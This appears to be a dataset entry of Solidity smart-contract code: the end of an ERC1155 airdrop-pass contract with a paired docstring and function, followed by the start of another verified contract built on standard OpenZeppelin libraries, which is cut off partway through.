* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id)
public
view
virtual
override
returns (uint256)
{
require(
account != address(0),
"GenArtTokenAirdropPass: balance query for the zero address"
);
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(
accounts.length == ids.length,
"GenArtTokenAirdropPass: accounts and ids length mismatch"
);
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function setPaused(bool _pause) public onlyOwner {
_paused = _pause;
if (_paused) {
emit Paused(_msgSender());
} else {
emit Unpaused(_msgSender());
}
}
function setUri(string memory newUri) public onlyOwner {
_setURI(newUri);
}
function withdraw(uint256 value) public onlyOwner {
address _owner = owner();
payable(_owner).transfer(value);
}
/**
* @dev See {ERC1155-_mint}.
*/
function mint(
uint256 membershipId,
address account,
uint256 id,
uint256 amount
) public payable {
require(
block.number < endBlock,
"GenArtTokenAirdropPass: mint pass sale ended"
);
require(
id == 1 || id == 2 || id == 3,
"GenArtTokenAirdropPass: invalid token id"
);
uint256 index = id - 1;
require(
_totalSupply[id] + amount <= tokenId_cap[index],
"GenArtTokenAirdropPass: requested amount too high"
);
require(
IGenArt(genArtMembershipAddress).ownerOf(membershipId) ==
msg.sender,
"GenArtTokenAirdropPass: sender is not owner of membership"
);
uint256 ethValue;
unchecked {
ethValue = tokenId_prices[index] * amount;
}
require(
ethValue <= msg.value,
"GenArtTokenAirdropPass: wrong amount sent"
);
_mint(account, id, amount, "");
_totalSupply[id] += amount;
}
/**
* @dev See {ERC1155-_burn}.
*/
function burn(
address account,
uint256 id,
uint256 amount
) public {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"GenArtTokenAirdropPass: caller is not owner nor approved"
);
_burn(account, id, amount);
_totalSupply[id] -= amount;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(
_msgSender() != operator,
"GenArtTokenAirdropPass: setting approval status for self"
);
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"GenArtTokenAirdropPass: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"GenArtTokenAirdropPass: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(
to != address(0),
"GenArtTokenAirdropPass: transfer to the zero address"
);
address operator = _msgSender();
_beforeTokenTransfer();
uint256 fromBalance = _balances[id][from];
require(
fromBalance >= amount,
"GenArtTokenAirdropPass: insufficient balance for transfer"
);
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(
ids.length == amounts.length,
"GenArtTokenAirdropPass: ids and amounts length mismatch"
);
require(
to != address(0),
"GenArtTokenAirdropPass: transfer to the zero address"
);
address operator = _msgSender();
_beforeTokenTransfer();
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(
fromBalance >= amount,
"GenArtTokenAirdropPass: insufficient balance for transfer"
);
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(
operator,
from,
to,
ids,
amounts,
data
);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(
account != address(0),
"GenArtTokenAirdropPass: mint to the zero address"
);
address operator = _msgSender();
_beforeTokenTransfer();
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(
operator,
address(0),
account,
id,
amount,
data
);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(
account != address(0),
"GenArtTokenAirdropPass: burn from the zero address"
);
address operator = _msgSender();
_beforeTokenTransfer();
uint256 accountBalance = _balances[id][account];
require(
accountBalance >= amount,
"GenArtTokenAirdropPass: burn amount exceeds balance"
);
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer() internal virtual {
require(!paused(), "ERC1155Pausable: token transfer while paused");
}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try
IERC1155Receiver(to).onERC1155Received(
operator,
from,
id,
amount,
data
)
returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert(
"GenArtTokenAirdropPass: ERC1155Receiver rejected tokens"
);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(
"GenArtTokenAirdropPass: transfer to non ERC1155Receiver implementer"
);
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try
IERC1155Receiver(to).onERC1155BatchReceived(
operator,
from,
ids,
amounts,
data
)
returns (bytes4 response) {
if (
response != IERC1155Receiver.onERC1155BatchReceived.selector
) {
revert(
"GenArtTokenAirdropPass: ERC1155Receiver rejected tokens"
);
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert(
"GenArtTokenAirdropPass: transfer to non ERC1155Receiver implementer"
);
}
}
}
function _asSingletonArray(uint256 element)
private
pure
returns (uint256[] memory)
{
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
|
Hook that is called before any token transfer. This includes minting and burning, as well as batched variants. The same hook is called on both single and batched variants. For single transfers, the length of the `id` and `amount` arrays will be 1. Calling conditions (for each `id` and `amount` pair): - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens of token type `id` will be transferred to `to`. - When `from` is zero, `amount` tokens of token type `id` will be minted for `to`. - when `to` is zero, `amount` of ``from``'s tokens of token type `id` will be burned. - `from` and `to` are never both zero. - `ids` and `amounts` have the same, non-zero length. To learn more about hooks, head to xref:ROOT:extending-contracts.adocusing-hooks[Using Hooks]./
|
function _beforeTokenTransfer() internal virtual {
require(!paused(), "ERC1155Pausable: token transfer while paused");
}
| 11,994,850 |
/**
*Submitted for verification at Etherscan.io on 2022-02-17
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf)
internal
pure
returns (bytes32)
{
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(
abi.encodePacked(computedHash, proofElement)
);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(
abi.encodePacked(proofElement, computedHash)
);
}
}
return computedHash;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
